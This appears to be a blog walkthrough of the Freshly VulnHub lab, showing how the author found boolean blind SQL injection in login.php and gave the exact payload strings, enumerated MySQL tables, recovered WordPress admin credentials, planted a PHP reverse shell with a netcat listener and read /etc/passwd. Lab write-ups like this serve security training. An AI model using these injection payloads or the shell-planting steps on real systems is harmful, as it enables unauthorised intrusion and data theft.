The Freshly VM is a reasonably new challenge from TopHat Security delivered via Vulnhub. My first download was corrupted and it was only after talking to a colleague that I was informed that I realised this. Anyway, we'll skip that part and go straight to the bit where it worked.
After booting it up in VirtualBox, the first thing we do is run an nmap scan. The nmap scan showed three ports open:
I completely ignored the latter two to start with and went to work on Port 80.
Ignoring the first page, I kicked off Burp's Discover Content (because I have pro) and located a few pages of interest.
The first result from the scan was “phpmyadmin” which provided us with the ever-recognisable phpmyadmin login page:
I ran through the standard default creds for this (admin:password, root:password, root:blank, root:admin) but that would be too easy. It did however return the error:
“#1045 Cannot log in to the MySQL server”
This clearly identifies the backend as MySQL.
The second identified page from the scan was login.php which looked far more hash-jobbed and therefore more interesting.
With a small amount of fiddling and a few basic SQLi strings, I established this page returned a 0 if the SQL command succeeded and a 1 if it failed. This is a very crude example of a Boolean SQLi.
The full set of SQLi strings used (skipping the pointless ones) were as follows:
' OR 1;#
This returns a 1, establishing our “success” criteria
' OR 1=2;#
To double-check that we are in fact SQL injecting and not triggering some other functionality, we give it a string that is obviously not true.
' OR substr(password,1,1) = “a”
This string asks the database whether the first character of ANY password is "a". This was repeated in Burp Repeater with incrementing alpha characters until we received a success and then passed to Burp Intruder to get the next characters.
In Intruder we highlight the values as follows (where the Hurricanes indicate the brute-forcing character):
' OR substr(password,§1§,1)= "§a§";#
In position one, we provide numbers 1-9 as our attack strings and in position 2, we provide a-z0-9. Ordinarily I would also use A-Z but mysql renders upper and lower-case as the same in these circumstance so I can cut out an extra 234 requests (1-9 (9) times A-Z (26)).
This method returns the following letters in order of position, p, ao, sp, sr, wo, oc, rk, ds which can be easily split into poprocks and password. If we were to do this sensible (or in Python) we can skip this issue by amending our substring argument as follows:
substr(password,1,§2§) = “§pa§” where we change the length value and append the new characters to the already identified characters to return full passwords rather than characters present at each location. This is easier to achieve in Python than Burp (Dafydd, new feature please).
Attempting to guess the username column failed and so I moved onto the information_schema to identify other columns in this table:
' UNION SELECT 1;#
this failed obviously due to at least 2 columns being called in the original statement
' UNION SELECT 1,2;#
This succeeded and so we know there has to be two columns in our statement
' UNION SELECT 1,table_name FROM information_schema.tables WHERE substr(table_name,1,1) = 'a' ;#
We repeat the process from getting the passwords with table_names and retrieve 2 answers: user_name and users (I had to add in special characters after receiving a potential answer of usersname which didn't make any sense)
' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name ='users' AND substr(column_name,1,1) = 'a' ;#
Attempting to perform these commands lead to no answers and so the next step was to look at databases
' UNION SELECT 1,2 FROM information_schema.columns WHERE substr(table_schema,§1§,1) = "§a§" ;#
The table_schema variable allows us to list out the databases as before providing us with:
I'd noticed that phpmyadmin was present earlier and written it off for it's error message. As a result, I skipped attacking that DB and went straight to the interesting looking wordpress8080:
' UNION SELECT 1,2 FROM information_schema.tables WHERE table_schema = "wordpress8080" AND substr(table_name,§1§,1) = "§u§" ;#
I started with u as my pilot string as I had a notion that it might be “users” or some derivitive.
I was correct, the table name was users.
' UNION SELECT 1,2 FROM information_schema.columns WHERE table_schema = "wordpress8080" AND table_name = "users" AND substr(column_name,§1§,1) = "§u§" ;#
This identified the columns being: username and password
' UNION SELECT 1,2 FROM wordpress8080.users WHERE substr(username,§1§,1) = "§s§";#
' UNION SELECT 1,2 FROM wordpress8080.users WHERE substr(password,§1§,1) = "§s§";#
Through these commands we are provided with a sole set of credentials: admin:supersecretpassword
The tablename “wordpress8080” provides a rather big clue to where we might have to go next and so to port 8080 we go where we are greeted with the following message.
Which directs to a wordpress site and with the credentials my experience says go straight to /wp-admin/ which presents us with the login page.
Now the credentials don't work straight away because I mentioned before mysql will return a success for both upper and lower-case queries for characters. So we know that password is some variation on supersecretpassword with upper and lower. I prayed to the password gods and they saw that it was good, making it an easy SuperSecretPassword rather than the any of the other 524288 possibilities.
Once logged in, it's a simple process of editing a PHP page with the page editor (under Appearance) to contain our shell instead of the valid page. To avoid breaking anything, I edit the 404.php page and replace it with the PenTestMonkey's reverse PHP shell. I set up a listener on my box with:
nc -lnvp 4444
and browse to /404.php providing me with a shell:
I have a habit of attempting to read /etc/passwd to prove that I do actually have access (as I'm sure most people do though it's probably quite a bad habit) which happens to return the flag: